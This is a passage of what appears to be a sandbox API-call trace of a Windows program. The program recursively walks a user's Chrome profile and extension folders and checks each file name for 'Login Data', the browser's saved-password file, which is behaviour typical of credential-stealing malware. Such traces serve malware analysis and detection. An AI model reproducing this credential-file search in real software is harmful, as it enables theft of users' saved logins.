lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*" [0056.565] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*", lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 0x2dc8b8 [0056.565] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.565] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.565] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.565] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.565] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.565] StrStrIA (lpFirst="000003.log", lpSrch="Login Data") returned 0x0 [0056.565] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.565] StrStrIA (lpFirst="CURRENT", lpSrch="Login Data") returned 0x0 [0056.565] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.565] StrStrIA (lpFirst="LOCK", lpSrch="Login Data") returned 0x0 [0056.565] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.565] StrStrIA (lpFirst="LOG", lpSrch="Login Data") returned 0x0 [0056.565] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.565] StrStrIA (lpFirst="MANIFEST-000001", lpSrch="Login Data") returned 0x0 [0056.566] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 0 [0056.566] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.566] LocalFree (hMem=0x2cc740) returned 0x0 [0056.566] LocalFree (hMem=0x2cbd30) returned 0x0 [0056.566] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f700 | out: lpFindFileData=0x21f700) returned 1 [0056.566] lstrcmpiA (lpString1=".", lpString2="Extensions") returned -1 [0056.566] lstrcmpiA (lpString1="..", lpString2="Extensions") returned -1 [0056.566] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.566] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.566] lstrlenA (lpString="\\") returned 1 [0056.566] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x2d4b68 [0056.566] lstrcpyA (in: lpString1=0x2d4b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0056.566] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0056.566] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0056.566] lstrlenA (lpString="Extensions") returned 10 [0056.566] LocalAlloc (uFlags=0x40, uBytes=0xd1) returned 0x2cbd30 [0056.566] lstrcpyA (in: lpString1=0x2cbd30, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0056.566] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Extensions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0056.566] LocalFree (hMem=0x2d4b68) returned 0x0 [0056.566] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0056.566] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0056.566] lstrlenA (lpString="\\*.*") returned 4 [0056.566] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x2cc740 [0056.566] lstrcpyA (in: lpString1=0x2cc740, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0056.566] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*" [0056.566] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*", lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 0x2dc8b8 [0056.566] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.566] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.566] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.566] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.566] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.566] lstrcmpiA (lpString1=".", lpString2="aapocclcgogkmnckokdopfmhonfmgoek") returned -1 [0056.567] lstrcmpiA (lpString1="..", lpString2="aapocclcgogkmnckokdopfmhonfmgoek") returned -1 [0056.567] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0056.567] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0056.567] lstrlenA (lpString="\\") returned 1 [0056.567] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x2da9d0 [0056.567] lstrcpyA (in: lpString1=0x2da9d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0056.567] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0056.567] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned 81 [0056.567] lstrlenA (lpString="aapocclcgogkmnckokdopfmhonfmgoek") returned 32 [0056.567] LocalAlloc (uFlags=0x40, uBytes=0xf2) returned 0x2daab0 [0056.567] lstrcpyA (in: lpString1=0x2daab0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0056.567] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\", lpString2="aapocclcgogkmnckokdopfmhonfmgoek" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" [0056.567] LocalFree (hMem=0x2da9d0) returned 0x0 [0056.567] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned 113 [0056.567] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned 113 [0056.567] lstrlenA (lpString="\\*.*") returned 4 [0056.567] LocalAlloc (uFlags=0x40, uBytes=0xf6) returned 0x2dabb0 [0056.567] lstrcpyA (in: lpString1=0x2dabb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" [0056.567] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*" [0056.567] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*", lpFindFileData=0x21f3e0 | out: lpFindFileData=0x21f3e0) returned 0x2dc8f8 [0056.567] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.567] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21f3e0 | out: lpFindFileData=0x21f3e0) returned 1 [0056.567] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.567] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.567] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21f3e0 | out: lpFindFileData=0x21f3e0) returned 1 [0056.567] lstrcmpiA (lpString1=".", lpString2="0.9_0") returned -1 [0056.567] lstrcmpiA (lpString1="..", lpString2="0.9_0") returned -1 [0056.567] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned 113 [0056.567] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned 113 [0056.567] lstrlenA (lpString="\\") returned 1 [0056.567] LocalAlloc (uFlags=0x40, uBytes=0xf3) returned 0x2dbcb8 [0056.567] lstrcpyA (in: lpString1=0x2dbcb8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" [0056.567] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\" [0056.567] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\") returned 114 [0056.567] lstrlenA (lpString="0.9_0") returned 5 [0056.567] LocalAlloc (uFlags=0x40, uBytes=0xf8) returned 0x2dbdb8 [0056.567] lstrcpyA (in: lpString1=0x2dbdb8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\" [0056.567] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\", lpString2="0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0056.567] LocalFree (hMem=0x2dbcb8) returned 0x0 [0056.567] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned 119 [0056.567] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned 119 [0056.567] lstrlenA (lpString="\\*.*") returned 4 [0056.567] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x2dbeb8 [0056.567] lstrcpyA (in: lpString1=0x2dbeb8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0056.567] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*" [0056.567] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*", lpFindFileData=0x21f250 | out: lpFindFileData=0x21f250) returned 0x2dc938 [0056.567] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.567] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f250 | out: lpFindFileData=0x21f250) returned 1 [0056.568] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.568] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.568] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f250 | out: lpFindFileData=0x21f250) returned 1 [0056.568] StrStrIA (lpFirst="icon_128.png", lpSrch="Login Data") returned 0x0 [0056.568] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f250 | out: lpFindFileData=0x21f250) returned 1 [0056.568] StrStrIA (lpFirst="icon_16.png", lpSrch="Login Data") returned 0x0 [0056.568] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f250 | out: lpFindFileData=0x21f250) returned 1 [0056.568] StrStrIA (lpFirst="main.html", lpSrch="Login Data") returned 0x0 [0056.568] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f250 | out: lpFindFileData=0x21f250) returned 1 [0056.568] StrStrIA (lpFirst="main.js", lpSrch="Login Data") returned 0x0 [0056.568] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f250 | out: lpFindFileData=0x21f250) returned 1 [0056.568] StrStrIA (lpFirst="manifest.json", lpSrch="Login Data") returned 0x0 [0056.568] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f250 | out: lpFindFileData=0x21f250) returned 1 [0056.568] lstrcmpiA (lpString1=".", lpString2="_locales") returned -1 [0056.568] lstrcmpiA (lpString1="..", lpString2="_locales") returned -1 [0056.568] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned 119 [0056.568] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned 119 [0056.568] lstrlenA (lpString="\\") returned 1 [0056.568] LocalAlloc (uFlags=0x40, uBytes=0xf9) returned 0x2dbfc0 [0056.568] lstrcpyA (in: lpString1=0x2dbfc0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0056.568] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" [0056.568] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned 120 [0056.568] lstrlenA (lpString="_locales") returned 8 [0056.568] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x2dc0c8 [0056.568] lstrcpyA (in: lpString1=0x2dc0c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" [0056.568] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\", lpString2="_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.568] LocalFree (hMem=0x2dbfc0) returned 0x0 [0056.568] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.568] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.568] lstrlenA (lpString="\\*.*") returned 4 [0056.568] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dc1d8 [0056.568] lstrcpyA (in: lpString1=0x2dc1d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.568] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*" [0056.568] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*", lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 0x2dc978 [0056.569] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.569] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.569] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.569] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.569] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.569] lstrcmpiA (lpString1=".", lpString2="ar") returned -1 [0056.569] lstrcmpiA (lpString1="..", lpString2="ar") returned -1 [0056.569] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.569] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.569] lstrlenA (lpString="\\") returned 1 [0056.569] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.569] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.569] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.569] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.569] lstrlenA (lpString="ar") returned 2 [0056.569] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.569] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.569] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar" [0056.569] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.569] lstrlenA (lpString="C:\\Users\\aDU0VK 